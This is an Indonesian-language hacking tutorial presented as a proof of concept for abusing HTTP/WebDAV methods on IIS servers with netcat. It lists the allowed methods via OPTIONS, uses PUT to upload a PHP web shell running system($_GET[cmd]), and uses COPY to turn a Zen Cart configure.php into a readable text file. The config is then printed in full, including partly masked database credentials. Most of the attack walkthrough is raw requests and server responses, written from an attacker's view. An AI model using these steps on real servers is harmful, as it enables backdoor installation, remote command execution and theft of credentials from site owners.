HTTP Attack (Proof of Concept)

chmood



HTTP Attack? What?

Dari sebutanya juga sudah kelihatan. http attack adalah serangan ke http server (web server). Serangan yang saya maksud bukan menyerang dari sisi Web Aps (misal celah aplikasi php, asp, dll), ataupun database. Namun http attack murni menyerang pada sisi web server http.

Untuk hacker lama, penghuni alam underground lama, saya yakin sudah banyak yang mengetahui serangan ini. Karena jaman dulu serangan ini sangat menjadi favorite. Ya karena memang banyak sekali server yang vulnerable serangan ini. Seiring berkembangnya security, banyak ditemukan celah baru. Banyak hacker2 pemula mempelajari celah baru, dan cukup bangga dengan sedikit yang dia bisa. dan, mereka (penghuni baru), tidak mengenal teknik lama yang ternyata tetap cukup ampuh.

So, saya menulis artikel ini sekaligus untuk dokumentasi jurus2 di masa lampau agar tidak terlupakan.

OK, next

HTTP Server (Web server) mempunyai beberapa metode rekuest, yang kita kenal sebagai HTTP Methode. ada GET, POST, OPTIONS, TRACE, PUT, DELETE, MOVE, COPY, dll. Mungkin yang selama ini kita kenal adalah GET dan POST saja. Ya memang untuk operasi standart, cuma dua methode itu aja yang di pakai. Yang lain hampir tidak pernah di pakai.

methode-methode tersebut, sebenarnya cukup berbahaya dan mematikan. Apa itu? OPTIONS, TRACE, PUT, DELETE, MOVE, COPY. OK, mari kita bongkar satu satu. Namun sebelumnya, kita butuh 1 buah tools untuk melakukan ini, yaitu netcat (nc). Pada linux, aplikasi ini sudah terinstall. pada windows, silahkan googling dengan keyword nc for windows. Sebenarnya bisa dengan menggunakan telnet, namun telnet bukanlah pilihan bagus karena command bisa tidak terlihat dan output tidak rapi.

*note: untuk menghindari hal-hal yang tidak diinginkan, target sasaran untuk contoh sengaja di sensor.

OPTIONS.

secara "exploitasi" method ini tidaklah berbahaya, apa lagi sampai mematikan server. Namun, apa yang di berikan oleh OPTIONS adalah beberapa pilihan informasi methode yang allow pada server. Wow!! Sebenarnya inilah yang paling berbahaya, informasi rahasia yang di beberkan begitu aja. How to do it? simple bro.


array@xsn1p:~$ nc -vv sasaran.com 80
DNS fwd/rev mismatch: sasaran.com != 5.subnet222-124-215.static.astinet.telkom.net.id
sasaran.com [222.1.2.3] 80 (www) open
OPTIONS / HTTP/1.1
Host: sasaran.com

HTTP/1.1 200 OK
Date: Thu, 19 Jan 2012 09:02:44 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
MS-Author-Via: DAV
Content-Length: 0
Accept-Ranges: none
DASL: <DAV:sql>
DAV: 1, 2
Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
Allow: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
Cache-Control: private


sent 53, rcvd 406
array@xsn1p:~$

Ups!!!! many http methode allowed. So dangerously!

PUT

methode ini yang sangat berbahaya. "PUT" mengijinkan browser menulis file ke server. Pada awalnya method ini dibuat dengan niat baik nan mulia. Namun penggunaanya yang cukup menyenangkan, membuat attacker juga ikut bergembira. Untuk menuliska file ke server juga tidak butuh teknik yang sangat tinggi, justru mudah dan simple.


array@xsn1p:~$ nc -vv sasaran.com 80
DNS fwd/rev mismatch: sasaran.com != 5.subnet222-124-215.static.astinet.telkom.net.id
sasaran.com [222.1.2.3] 80 (www) open
PUT /tes.txt HTTP/1.1
Host: sasaran.com
Content-Length: 32

<pre><?php system($_GET[cmd]) ?>


HTTP/1.1 201 File saved
Content-Length: 1458
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Thu, 19 Jan 2012 09:12:53 GMT

perhatikan, saya membuat file /tes.txt. ini berarti file yang saya buat adalah sasaran.com/tes.txt dengan isi
dengan demikian, kita bisa saja mengirimkan sebuah backdoor ke server secara mudah dan instan. yang perlu di perhatikan adalah bahwa Content-Length harus sama dengan panjang karakter text yang akan di tulis ke server. Dan tentu saja direktori harus permission 777 (writeable).


DELETE

perintah sederhana untuk melakukan penghapusan sebuah file di server.


COPY

perintah untuk menggandakan sebuah file ke nama file yang baru. Hal ini cukup berguna jika kita membutuhkan isi dari sebuah file config.php, dimana config.php tidak akan bisa dibuka di browser karena server akan menerjemahkanya trlebih dahulu sehingga config tidak terbaca. So, dengan command COPY saya menggandakan config.php menjadi config.txt sehingga config.txt terbaca jelas.


array@xsn1p:~$ nc -vv sasaran.com 80
DNS fwd/rev mismatch: sasaran.com != 5.subnet222-124-215.static.astinet.telkom.net.id
sasaran.com [222.1.2.3] 80 (www) open
COPY /includes/configure.php /config.txt HTTP/1.1
Host: sasaran.com

HTTP/1.1 200 OK
Content-Length: 1458
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Thu, 19 Jan 2012 09:12:53 GMT



ok, file telah di copy dengan nama config.txt, tinggal membaca saja.


array@xsn1p:~$ nc -vv sasaran.com 80
DNS fwd/rev mismatch: sasaran.com != 5.subnet222-124-215.static.astinet.telkom.net.id
sasaran.com [222.1.2.3] 80 (www) open
GET /config.txt HTTP/1.1
Host: sasaran.com

HTTP/1.1 200 OK
Date: Thu, 19 Jan 2012 09:30:18 GMT
Server: Microsoft-IIS/6.0
Last-Modified: Thu, 19 Jan 2012 09:29:20 GMT
Accept-Ranges: bytes
Content-Length: 3214
Content-Type: text/plain

<?php
/**
* @package Configuration Settings circa 1.3.8
* @copyright Copyright 2003-2007 Zen Cart Development Team
* @copyright Portions Copyright 2003 osCommerce
* @license http://www.zen-cart.com/license/2_0.txt GNU Public License V2.0
*/


/*************** NOTE: This file is similar, but DIFFERENT from the "admin" version of configure.php. ***********/
/*************** The 2 files should be kept separate and not used to overwrite each other. ***********/

// Define the webserver and path parameters
// HTTP_SERVER is your Main webserver: eg-http://www.your_domain.com
// HTTPS_SERVER is your Secure webserver: eg-https://www.your_domain.com
define('HTTP_SERVER', 'http://www.sasaran.com');
define('HTTPS_SERVER', 'https://www.sasaran.com');

// Use secure webserver for checkout procedure?
define('ENABLE_SSL', 'false');

// NOTE: be sure to leave the trailing '/' at the end of these lines if you make changes!
// * DIR_WS_* = Webserver directories (virtual/URL)
// these paths are relative to top of your webspace ... (ie: under the public_html or httpdocs folder)
define('DIR_WS_CATALOG', '/');
define('DIR_WS_HTTPS_CATALOG', '/');

define('DIR_WS_IMAGES', 'images/');
define('DIR_WS_INCLUDES', 'includes/');
define('DIR_WS_FUNCTIONS', DIR_WS_INCLUDES . 'functions/');
define('DIR_WS_CLASSES', DIR_WS_INCLUDES . 'classes/');
define('DIR_WS_MODULES', DIR_WS_INCLUDES . 'modules/');
define('DIR_WS_LANGUAGES', DIR_WS_INCLUDES . 'languages/');
define('DIR_WS_DOWNLOAD_PUBLIC', DIR_WS_CATALOG . 'pub/');
define('DIR_WS_TEMPLATES', DIR_WS_INCLUDES . 'templates/');

define('DIR_WS_PHPBB', '/');

// * DIR_FS_* = Filesystem directories (local/physical)
//the following path is a COMPLETE path to your Zen Cart files. eg: /var/www/vhost/accountname/public_html/store/
define('DIR_FS_CATALOG', '/');

define('DIR_FS_DOWNLOAD', DIR_FS_CATALOG . 'download/');
define('DIR_FS_DOWNLOAD_PUBLIC', DIR_FS_CATALOG . 'pub/');
define('DIR_WS_UPLOADS', DIR_WS_IMAGES . 'uploads/');
define('DIR_FS_UPLOADS', DIR_FS_CATALOG . DIR_WS_UPLOADS);
define('DIR_FS_EMAIL_TEMPLATES', DIR_FS_CATALOG . 'email/');

// define our database connection
define('DB_TYPE', 'mysql');
define('DB_PREFIX', 'dat_');
define('DB_SERVER', 'localhost');
define('DB_SERVER_USERNAME', '***');
define('DB_SERVER_PASSWORD', '******************4');
define('DB_DATABASE', 'dat_*');
define('USE_PCONNECT', 'false');
define('STORE_SESSIONS', 'db');
// for STORE_SESSIONS,
use 'db' for best support, or '' for file-based storage

// The next 2 "defines" are for SQL cache support.
// For SQL_CACHE_METHOD, you can select from: none, database, or file
// If you choose "file", then you need to set the DIR_FS_SQL_CACHE to a directory where your apache
// or webserver user has write privileges (chmod 666 or 777). We recommend using the "cache" folder inside the Zen Cart folder
// ie: /path/to/your/webspace/public_html/zen/cache -- leave no trailing slash
define('SQL_CACHE_METHOD', 'database');
define('DIR_FS_SQL_CACHE', '/cache');

// EOF

^C sent 56, rcvd 3402
array@xsn1p:~$





UPS! Code disclosured!
Komentar